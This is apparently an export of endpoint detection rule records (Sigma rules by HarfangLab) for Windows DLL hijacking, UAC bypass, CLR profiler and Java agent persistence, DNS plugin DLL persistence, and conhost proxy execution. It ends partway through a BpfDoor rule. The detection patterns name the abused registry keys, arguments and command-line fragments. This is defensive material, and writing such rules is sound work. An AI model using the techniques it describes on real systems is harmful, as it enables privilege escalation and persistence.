+  "rule_description": "Detects potential Windows DLL Hijacking via where.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b8b6c756-7a89-4467-98c8-c1a76e73899f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.610691Z",
+  "creation_date": "2026-03-23T11:45:34.610695Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.610702Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://offsec.almond.consulting/UAC-bypass-dotnet.html",
+    "https://redcanary.com/blog/blue-mockingbird-cryptominer/",
+    "https://attack.mitre.org/techniques/T1574/012/"
+  ],
+  "name": "t1574_012_clr_profiler_environment_variable_modification.yml",
+  "content": "title: .NET CLR Profiler Changed in User Environment\nid: b8b6c756-7a89-4467-98c8-c1a76e73899f\ndescription: |\n    Detects the COR_PROFILER or COR_PROFILER_PATH user environment variable being modified\n    This variable should not be normally defined in the user environment variables.\n    This can be related to an UAC bypass on a CLR elevated application (like mmc).\n    It is recommended to check the origin and legitimacy of the application performing this modification.\nreferences:\n    - https://offsec.almond.consulting/UAC-bypass-dotnet.html\n    - https://redcanary.com/blog/blue-mockingbird-cryptominer/\n    - https://attack.mitre.org/techniques/T1574/012/\ndate: 2020/10/26\nmodified: 2025/02/04\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1574.012\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_set:\n        EventType: 'SetValue'\n        TargetObject:\n            - 'HKU\\\\*\\Environment\\COR_PROFILER'\n            - 'HKU\\\\*\\Environment\\COR_PROFILER_PATH'\n    filter_empty:\n        Details: '(Empty)'\n    selection_rename:\n        EventType:\n            - 'RenameValue'\n            - 'RenameKey'\n        NewName:\n            - 'HKU\\\\*\\Environment\\COR_PROFILER'\n            - 'HKU\\\\*\\Environment\\COR_PROFILER_PATH'\n\n    condition: (selection_set and not filter_empty) or selection_rename\nlevel: medium\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b8b6c756-7a89-4467-98c8-c1a76e73899f",
+  "rule_name": ".NET CLR Profiler Changed in User Environment",
+  "rule_description": "Detects the COR_PROFILER or COR_PROFILER_PATH user environment variable being modified\nThis variable should not be normally defined in the user environment variables.\nThis can be related to an UAC bypass on a CLR elevated application (like mmc).\nIt is recommended to check the origin and legitimacy of the application performing this modification.\n",
+  "rule_creation_date": "2020-10-26",
+  "rule_modified_date": "2025-02-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1574.012"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b8e64347-bbc6-4698-b322-4fa2b28bfe9a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627071Z",
+  "creation_date": "2026-03-23T11:45:34.627073Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627077Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.hexacorn.com/blog/2020/05/25/how-to-con-your-host/",
+    "https://attack.mitre.org/techniques/T1202/"
+  ],
+  "name": "t1202_indirect_command_execution_conhost.yml",
+  "content": "title: Indirect Command Executed via conhost.exe\nid: b8e64347-bbc6-4698-b322-4fa2b28bfe9a\ndescription: |\n    Detects a suspicious execution of legitimate conhost.exe Windows binary, used to provide an interface between the Command Prompt and the Windows Explorer.\n    Attackers can proxy the execution of commands through conhost.exe to bypass application control or security solutions.\n    It is recommended to analyze the actions performed by the spawned process and to look for other malicious actions on the host.\nreferences:\n    - https://www.hexacorn.com/blog/2020/05/25/how-to-con-your-host/\n    - https://attack.mitre.org/techniques/T1202/\ndate: 2022/01/21\nmodified: 2026/02/13\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1202\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage|endswith: '\\conhost.exe'\n\n    exclusion_sshd:\n        GrandparentImage|endswith:\n            - '\\sshd.exe'\n            - '\\sshd-session.exe'\n        # C:\\Windows\\system32\\conhost.exe --headless --width 172 --height 14 --signal 0x1f8 -- \"c:\\windows\\system32\\cmd.exe\"\n        ParentCommandLine|contains|all:\n            - ' --headless '\n            - ' --width '\n            - ' --height '\n            - ' --signal '\n            - ' -- '\n\n    exclusion_ctfmon:\n        Image: '?:\\Windows\\System32\\ctfmon.exe'\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n\n    exclusion_conhost:\n        Image: '?:\\Windows\\System32\\conhost.exe'\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n\n    exclusion_conhost_parent:\n        ParentCommandLine:\n            # \\??\\C:\\windows\\system32\\conhost.exe 0xffffffff -ForceV1\n            # \\??\\C:\\WINDOWS\\system32\\conhost.exe 0x4\n            - '\\\\\\?\\?\\\\?:\\windows\\system32\\conhost.exe 0xffffffff -ForceV1'\n            - '\\\\\\?\\?\\\\?:\\WINDOWS\\system32\\conhost.exe 0x4'\n\n    exclusion_werfault:\n        Image: '?:\\Windows\\System32\\WerFault.exe'\n        CommandLine|contains: '\\WerFault.exe -u -p '\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n\n    exclusion_terminal:\n        # https://devblogs.microsoft.com/commandline/new-experimental-console-features/\n        # C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe --single-argument https://go.microsoft.com/fwlink/?linkid=2028595\n        # C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe --single-argument https://go.microsoft.com/fwlink/?linkid=2028595\n        # C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe -osint -url https://go.microsoft.com/fwlink/?LinkId=507549\n        # C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe -osint -url https://go.microsoft.com/fwlink/?LinkId=871150\n        CommandLine|endswith:\n            - ' --single-argument https://go.microsoft.com/fwlink/?linkid=*'\n            - ' -osint -url https://go.microsoft.com/fwlink/?LinkId=*'\n\n    exclusion_alert:\n        Image:\n            - '?:\\Program Files (x86)\\LANDesk\\Shared Files\\alert.exe'\n            - '?:\\Program Files\\LANDesk\\Shared Files\\alert.exe'\n        Signed: 'true'\n        Signature: 'Ivanti, Inc.'\n\n    exclusion_ibm:\n        Image: '*\\Start_Programs\\Windows_*\\acslaunch_win*.exe'\n        Signed: 'true'\n        Signature: 'International Business Machines Corporation'\n\n    exclusion_rdm:\n        ProcessGrandparentImage: '?:\\Program Files\\Devolutions\\Remote Desktop Manager\\RemoteDesktopManager.exe'\n        ProcessGrandparentSigned: 'true'\n        ProcessGrandparentSignature: 'Devolutions Inc'\n\n    # https://github.com/asheroto/winget-install/blob/master/winget-install.ps1#L880\n    # https://github.com/Romanitho/Winget-Install\n    exclusion_winget:\n        - CommandLine:\n            - 'powershell.exe -NoProfile -ExecutionPolicy Bypass -File winget-notify.ps1'\n            - 'powershell.exe -NoProfile -ExecutionPolicy Bypass -File winget-upgrade.ps1'\n            - 'schtasks /run /tn WAU\\Winget-AutoUpdate'\n        - ProcessGrandparentImage: '?:\\Program Files\\Winget-AutoUpdate\\ServiceUI.exe'\n\n    exclusion_malightingtechnology:\n        Image: '?:\\Program Files\\MALightingTechnology\\\\*\\bin\\app_system.exe'\n\n    # https://github.com/abbodi1406/BatUtil/blob/master/OfficeScrubber/OfficeScrubber.cmd#L133\n    exclusion_officescrubber:\n        ProcessParentCommandLine|startswith: 'conhost.exe powershell -nop -c $t=[AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1).DefineDynamicModule(2, $False).DefineType(0);'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b8e64347-bbc6-4698-b322-4fa2b28bfe9a",
+  "rule_name": "Indirect Command Executed via conhost.exe",
+  "rule_description": "Detects a suspicious execution of legitimate conhost.exe Windows binary, used to provide an interface between the Command Prompt and the Windows Explorer.\nAttackers can proxy the execution of commands through conhost.exe to bypass application control or security solutions.\nIt is recommended to analyze the actions performed by the spawned process and to look for other malicious actions on the host.\n",
+  "rule_creation_date": "2022-01-21",
+  "rule_modified_date": "2026-02-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1202"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b93f0ab6-c9b8-4459-9d13-f40136d92136",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074484Z",
+  "creation_date": "2026-03-23T11:45:34.074486Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074491Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://pentestlab.blog/2017/06/07/uac-bypass-fodhelper/",
+    "https://any.run/cybersecurity-blog/windows11-uac-bypass/",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1548_002_post_uac_bypass_computerdefaults.yml",
+  "content": "title: UAC Bypass Executed via ComputerDefaults\nid: b93f0ab6-c9b8-4459-9d13-f40136d92136\ndescription: |\n    Detects a process being spawned by computerdefaults.exe, that can be the result of an UAC bypass via ComputerDefaults.\n    ComputerDefaults has autoelevation capabilities and an integrity level of high.\n    This is the result of an attack against a ShellExecuteW(\\\"ms-settings:defaultapps\\\") call inside computerdefaults.exe.\n    As such, you should look for other alerts related to ms-settings.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on a system to perform a task under administrator-level permissions.\n    It is recommended to investigate the context of this action to determine its legitimacy.\nreferences:\n    - https://pentestlab.blog/2017/06/07/uac-bypass-fodhelper/\n    - https://any.run/cybersecurity-blog/windows11-uac-bypass/\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2020/10/12\nmodified: 2025/01/14\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - ParentImage|endswith: '\\computerdefaults.exe'\n        - ProcessFakeParentImage: '?:\\Windows\\System32\\ComputerDefaults.exe'\n\n    exclusion_fp:\n        CommandLine:\n            - '?:\\windows\\system32\\ie4uinit.exe -reinstall'\n            - '?:\\windows\\system32\\unregmp2.exe /setwmpasdefault'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b93f0ab6-c9b8-4459-9d13-f40136d92136",
+  "rule_name": "UAC Bypass Executed via ComputerDefaults",
+  "rule_description": "Detects a process being spawned by computerdefaults.exe, that can be the result of an UAC bypass via ComputerDefaults.\nComputerDefaults has autoelevation capabilities and an integrity level of high.\nThis is the result of an attack against a ShellExecuteW(\\\"ms-settings:defaultapps\\\") call inside computerdefaults.exe.\nAs such, you should look for other alerts related to ms-settings.\nAdversaries may bypass UAC mechanisms to elevate process privileges on a system to perform a task under administrator-level permissions.\nIt is recommended to investigate the context of this action to determine its legitimacy.\n",
+  "rule_creation_date": "2020-10-12",
+  "rule_modified_date": "2025-01-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b9479cc4-206c-42ef-a445-6484a31ec6ed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.089294Z",
+  "creation_date": "2026-03-23T11:45:34.089296Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.089300Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://adsecurity.org/?p=4064",
+    "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83"
+  ],
+  "name": "t1112_persistence_registry_dns_serverlevelplugindll.yml",
+  "content": "title: DNS Server ServerLevelPluginDll Persistence Added\nid: b9479cc4-206c-42ef-a445-6484a31ec6ed\ndescription: |\n    Detects the installation of a potentially malicious DNS server plugin DLL.\n    After restarting the DNS service, this DLL is loaded in the context of the DNS server and code execution is achieved.\n    It is recommended to investigate the process which set the registry key and download the DLL added for further analysis.\nreferences:\n    - https://adsecurity.org/?p=4064\n    - https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83\ndate: 2020/10/02\nmodified: 2025/02/06\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.ActiveDirectory\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        - EventType: SetValue\n          TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\DNS\\Parameters\\ServerLevelPluginDll'\n        - EventType: RenameKey\n          NewName: 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\DNS\\Parameters\\ServerLevelPluginDll'\n    filter_empty:\n        Details: '(Empty)'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b9479cc4-206c-42ef-a445-6484a31ec6ed",
+  "rule_name": "DNS Server ServerLevelPluginDll Persistence Added",
+  "rule_description": "Detects the installation of a potentially malicious DNS server plugin DLL.\nAfter restarting the DNS service, this DLL is loaded in the context of the DNS server and code execution is achieved.\nIt is recommended to investigate the process which set the registry key and download the DLL added for further analysis.\n",
+  "rule_creation_date": "2020-10-02",
+  "rule_modified_date": "2025-02-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b99d0522-5e3d-4809-93e1-d57677eedec3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088865Z",
+  "creation_date": "2026-03-23T11:45:34.088867Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088882Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.hexacorn.com/blog/2017/09/27/beyond-good-ol-run-key-part-65/",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1546_java_agent_persistence.yml",
+  "content": "title: Possible Java AgentLib/AgentPath Persistence Added\nid: b99d0522-5e3d-4809-93e1-d57677eedec3\ndescription: |\n    Detect a suspicious registry changes in the environment variables related to a Java persistence technique.\n    This binary, which is digitally signed by Oracle, can be used to load malicious DLLs whose path was written in the registry.\n    Attackers may use it to bypass security restrictions as Java is usually a trusted binary. DLL execution happens each time Java is started on the infected system.\n    It is recommended to determine if malicious DLLs are being executed upon Java startup, assess the integrity of the Java binary, and monitor for associated suspicious processes.\nreferences:\n    - https://www.hexacorn.com/blog/2017/09/27/beyond-good-ol-run-key-part-65/\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2022/12/08\nmodified: 2025/02/19\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1546\n    - attack.defense_evasion\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.ConfigChange\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject:\n            - 'HKU\\\\*\\Environment\\JAVA_TOOL_OPTIONS'\n            - 'HKU\\\\*\\Environment\\_JAVA_OPTIONS'\n            - 'HKU\\\\*\\Environment\\IBM_JAVA_OPTIONS'\n        Details|contains:\n            - '-agentpath:'\n            - '-agentlib:'\n\n    condition: selection\nlevel: medium\n#level: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b99d0522-5e3d-4809-93e1-d57677eedec3",
+  "rule_name": "Possible Java AgentLib/AgentPath Persistence Added",
+  "rule_description": "Detect a suspicious registry changes in the environment variables related to a Java persistence technique.\nThis binary, which is digitally signed by Oracle, can be used to load malicious DLLs whose path was written in the registry.\nAttackers may use it to bypass security restrictions as Java is usually a trusted binary. DLL execution happens each time Java is started on the infected system.\nIt is recommended to determine if malicious DLLs are being executed upon Java startup, assess the integrity of the Java binary, and monitor for associated suspicious processes.\n",
+  "rule_creation_date": "2022-12-08",
+  "rule_modified_date": "2025-02-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1546"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b9b26f66-0e18-4a6b-9416-29c52ccd4a3d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.599465Z",
+  "creation_date": "2026-03-23T11:45:34.599468Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.599476Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_typeperf.yml",
+  "content": "title: DLL Hijacking via typeperf.exe\nid: b9b26f66-0e18-4a6b-9416-29c52ccd4a3d\ndescription: |\n    Detects potential Windows DLL Hijacking via typeperf.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'typeperf.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\pdh.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b9b26f66-0e18-4a6b-9416-29c52ccd4a3d",
+  "rule_name": "DLL Hijacking via typeperf.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via typeperf.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b9ba963c-9b27-4458-84b7-c2de9615e0ce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.613100Z",
+  "creation_date": "2026-03-23T11:45:34.613103Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.613111Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/elf.bpfdoor",
+    "https://dfir.ch/posts/strace/",
+    "https://blog.qualys.com/vulnerabilities-threat-research/2022/08/01/heres-a-simple-script-to-detect-the-stealthy-nation-state-bpfdoor",
+    "https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/",
+    "https://attack.mitre.org/techniques/T1559/"
+  ],
+  "name": "t1559_bpfdoor_suspicious_execution.yml",
+  "content": "title: Suspicious File Creation Related to BpfDoor\nid: b9ba963c-9b27-4458-84b7-c2de9615e0ce\ndescription: |\n    Detects the creation of files with names linked to the BpfDoor backdoor.\n    BpfDoor is a remote access trojan (RAT) used by the Red Menshen threat actor to target Linux systems since at least 2018.\n    Those names are related to files that are written by BpfDoor as part of its initialization process.\n    It is recommended to analyze the process responsible for creating this file and to look for other suspicious activities on the host.\nreferences:\n    - https://malpedia.caad.fkie.fraunhofer.de/details/elf.bpfdoor\n    - https://dfir.ch/posts/strace/\n    - https://blog.qualys.com/vulnerabilities-threat-research/2022/08/01/heres-a-simple-script-to-detect-the-stealthy-nation-state-bpfdoor\n    - https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/\n    - https://attack.mitre.org/techniques/T1559/\ndate: 2024/02/02\nmodified: 2025/01/30\nauthor: 